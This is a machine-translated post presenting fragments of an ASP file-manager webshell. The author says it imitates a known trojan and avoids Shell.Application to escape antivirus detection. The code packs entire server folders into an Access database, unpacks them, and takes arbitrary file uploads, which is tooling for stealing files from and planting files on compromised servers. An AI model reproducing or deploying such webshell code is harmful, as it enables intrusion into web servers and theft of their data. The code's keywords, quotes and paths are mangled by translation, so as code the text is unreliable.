Este es un explorador de archivos FSO escrito utilizando objetos de la colección FSO (si insistes en decir que es un troyano, no tengo objeciones. Funcionalmente, imita el diseño del "Top Trojan of the Ocean", pero el código está completamente reescrito). . Utilizar componentes como Shell.Application que fácilmente pueden provocar la muerte accidental por parte del software antivirus. Hay muchas herramientas similares en Internet. El valor de uso de esta herramienta no es muy bueno, pero muchos de los códigos que contiene se consideran bien escritos.
Las características clave incluyen: Vea información del disco, explore archivos de disco y opere de manera similar al Explorador de Windows, como crear, eliminar, cambiar el nombre, copiar, mover y otras operaciones básicas de edición de archivos de texto.
La descarga de archivos en modo Stream simplifica y optimiza el empaquetado/desempaquetado de archivos de carga sin componentes. Una carpeta se puede empaquetar/desempaquetar completamente.
Fragmento de código:
1. Parte de embalaje/desembalaje de archivos
-
-
- Subpaquete ( ByVal FPath, ByVal sDbPath)
- Servidor.ScriptTimeOut=900
- Dim DbPath
- Si Derecho(sDbPath,4)= ".mdb" Entonces
- RutaDb=sRutaDb
- Demás
- DbPath=sDbPath ".mdb"
- Fin Si
- Si oFso.FolderExists (DbPath) Entonces
- EchoBack "¡No se puede crear el archivo de base de datos!" &Replace(DbPath, ""," \")
- Salida Sub
- Fin Si
- Si oFso.FileExists (DbPath) Entonces
- oFso.DeleteFile DbPath
- Fin Si
- Si esCarpeta(FPath) Entonces
- RootPath=GetParentFolder(FPath)
- Si es correcto(RootPath,1)<> "" Entonces RootPath=RootPath&" "
- Demás
- EchoBack "¡Ingrese la ruta de la carpeta!"
- Salida Sub
- Fin Si
- Dim oCatalog,connStr,DataName
- Establecer conexión=Server.CreateObject( "ADODB.Connection" )
- Establecer oStream=Server.CreateObject( "ADODB.Stream" )
- Establecer oCatalog=Server.CreateObject( "ADOX.Catalog" )
- Establecer rs=Server.CreateObject( "ADODB.RecordSet" )
- En Error Reanudar Próximo
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Fuente de datos=" & DbPath
- oCatalog.Crear connStr
- Si se equivoca entonces
- EchoBack "¡No se puede crear el archivo de base de datos!" &Replace(DbPath, ""," \")
- Salida Sub
- Fin Si
- Establecer oCatalog= Nada
- conn.Abrir connStr
- conn.Execute( "Crear archivos de tabla (ID int IDENTITY (0,1) CLAVE PRIMARIA AGRUPADA, FilePath VarChar, FileData Image)" )
- oStream.Open
- oStream.Type=1
- rs.Abrir "Archivos" , conn,3,3
- NombreDatos=Izquierda(oFso.GetFile(DbPath).Nombre,InstrRev(oFso.GetFile(DbPath).Nombre, "." )-1)
- NoPackFiles=Reemplazar(NoPackFiles, "<$archivodedatos>" ,NombreDatos)
- Lista de archivos fallidos = ""
- PaqueteCarpetaFPath
- Si FailFilelist = "" Entonces
- EchoClose "¡Embalaje de carpeta exitoso!"
- Demás
- Response.Write ""
- Response.Write ""
- Respuesta.Escribir "" &Replace(FailFilelist, "|" , "
" ) "" - Fin Si
- oStream.Cerrar
- rs.Cerrar
- conexión.Cerrar
- Fin Sub
-
- Carpeta del subpaquete (ruta de la carpeta)
- Si No es carpeta (ruta de carpeta) entonces Salida Sub
- Dim oCarpeta,sArchivo,sCarpeta
- Establecer oFolder=oFso.GetFolder(FolderPath)
- Para Cada sFile en oFolder.Files
- Si InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Entonces
- PackFile sFile.Path
- Fin Si
- Próximo
- Establecer sFile = Nada
- Para Cada carpeta en oFolder.SubFolders
- PaqueteCarpeta sCarpeta.Ruta
- Próximo
- Establecer sFolder = Nada
- Fin Sub
-
- SubpaqueteArchivo (RutadelArchivo)
- RelPath tenue
- RelPath=Reemplazar(RutaDeArchivo,RutaRaíz, "" )
-
- En Error Reanudar Próximo
- Err.Borrar
- Err= Falso
- oStream.LoadFromFile Ruta del archivo
- rs.AñadirNuevo
- rs( "RutaDeArchivo" )=RutaRel
- rs( "FileData" )=oStream.Read()
- rs.Actualizar
- Si se equivoca entonces
-
- FailFilelist=Lista de archivos fallidos y ruta de archivo "|"
- Fin Si
- Fin Sub
-
-
- Subdescomprimir (vFolderPath,DbPath)
- Servidor.ScriptTimeOut=900
- Dim FilePath,FolderPath,sFolderPath
- Ruta de carpeta = ruta de carpeta v
- Ruta de la carpeta = Recortar (Ruta de la carpeta)
- Si Mid(FolderPath,2,1)<> ":" Entonces
- EchoBack "¡El formato de la ruta es incorrecto y no se puede crear el directorio!"
- Salida Sub
- Fin Si
- Si Derecha(RutaCarpeta,1)= "" Entonces FolderPath = Izquierda (FolderPath, Len (FolderPath) -1)
- ConnStr tenue
- Establecer conexión=Server.CreateObject( "ADODB.Connection" )
- Establecer oStream=Server.CreateObject( "ADODB.Stream" )
- Establecer rs=Server.CreateObject( "ADODB.RecordSet" )
- connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Fuente de datos=" & DbPath
- En Error Reanudar Próximo
- Err= Falso
- conn.Abrir connStr
- Si se equivoca entonces
- EchoBack "¡Error al abrir la base de datos!"
- Salida Sub
- Fin Si
- Err= Falso
- oStream.Open
- oStream.Type=1
- rs.Abrir "Archivos" , conn,1,1
- Lista de archivos fallidos = ""
- Hacer Hasta rs.EOF
- Err.Borrar
- Err= Falso
- RutaDeArchivo=RutaDeCarpeta ""&rs(" RutaDeArchivo")
- FilePath=Reemplazar(FilePath, "\", ")
- sFolderPath=Izquierda(FilePath,InStrRev(FilePath, "" ))
- Si No oFso.FolderExists(sFolderPath) Entonces
- Crear carpeta (sFolderPath)
- Fin Si
- oStream.SetEos()
- oStream.Write rs ( "FileData" )
- oStream.SaveToFile FilePath,2
- Si se equivoca entonces
- FailFilelist=FailFilelist&rs( "FilePath" ).Valor "|"
- Fin Si
- rs.MoverSiguiente
- Bucle
- rs.Cerrar
- Establecer rs = Nada
- conexión.Cerrar
- Establecer conexión = Nada
- Establecer oStream = Nada
- Si FailFilelist = "" Entonces
- EchoClose "¡El archivo se descomprimió correctamente!"
- Demás
- Response.Write ""
- Response.Write ""
- Respuesta.Escribir "" &Replace(FailFilelist, "|" , "
" ) "" - Fin Si
- Fin Sub
-
2. Parte de carga de archivos (archivo único):
- Saveupload ( ByVal FolderName)
- Si Not IsFolder(FolderName) Then
- EchoClose "¡No se ha especificado ninguna carpeta de carga!"
- Salida Sub
- Fin Si
- Ruta tenue ,
- ruta IsOverWrite = nombre de carpeta
- Si es correcto(Ruta,1)<> "" Entonces Ruta=Ruta&" "
- Nombre de archivo=Reemplazar(Solicitud( "nombre de archivo" ), ""," ")
- Si Len(FileName)<1 Entonces
- EchoBack "¡Seleccione el archivo e ingrese el nombre del archivo!"
- Salida Sub
- Fin Si
- ruta = ruta
- Si LCase(Solicitud( "sobrescribir" ))= "verdadero" Entonces
- IsOverWrite = Verdadero
- De lo contrario
- IsOverWrite = Falso
- Fin Si
- En Error Reanudar Próximo
- Llamar a MyUpload(Ruta,IsOverWrite)
- Si Err Then
- EchoBack "¡Falló la carga del archivo! (Es posible que el archivo ya exista)"
- De lo contrario
- EchoClose "¡El archivo se cargó correctamente!n" y Reemplazar (nombre de archivo, "", " \")
- Fin Si
- finaliza
- Sub
- MyUpload (FilePath,IsOverWrite)
- Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
- RequestSize=Request.TotalBytes
- Si el tamaño de solicitud <1, entonces Salida Sub
- Establecer oStream=Server.CreateObject( "ADODB.Stream" )
- Establecer tStream=Server.CreateObject( "ADODB.Stream" )
- Con oStream
- .Type=1
- .Mode=3
- .Open
- .Write=Request.BinaryRead(RequestSize)
- .Position=0
- sData=.Read
- bCrLf=ChrB(13)&ChrB(10)
- iSpaceEnd=InStrB(sData,bCrLf)-1
- sSpace =LeftB(sData,iSpaceEnd)
- iInfoStart=iSpaceEnd+3
- iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
- iFileStart=iInfoEnd+5
- iFileEnd=InStrB(iFileStart,sData,sSpace)-3
- sData= ""
- iFileSize=iFileEnd-iFileStart+1
- tStream.Type=1
- tStream.Mode=3
- tStream.Open
- .Position=iFileStart-1
- .CopyTo tStream,iFileSize
- Si IsOverWrite entonces
- tStream.SaveToFile FilePath,2
- De lo contrario
- tStream.SaveToFile FilePath
- Fin Si
- tStream.Close
- .Close
- Fin Con
- SettStream = Nada
- Establecer oStream= Nada
- termina Sub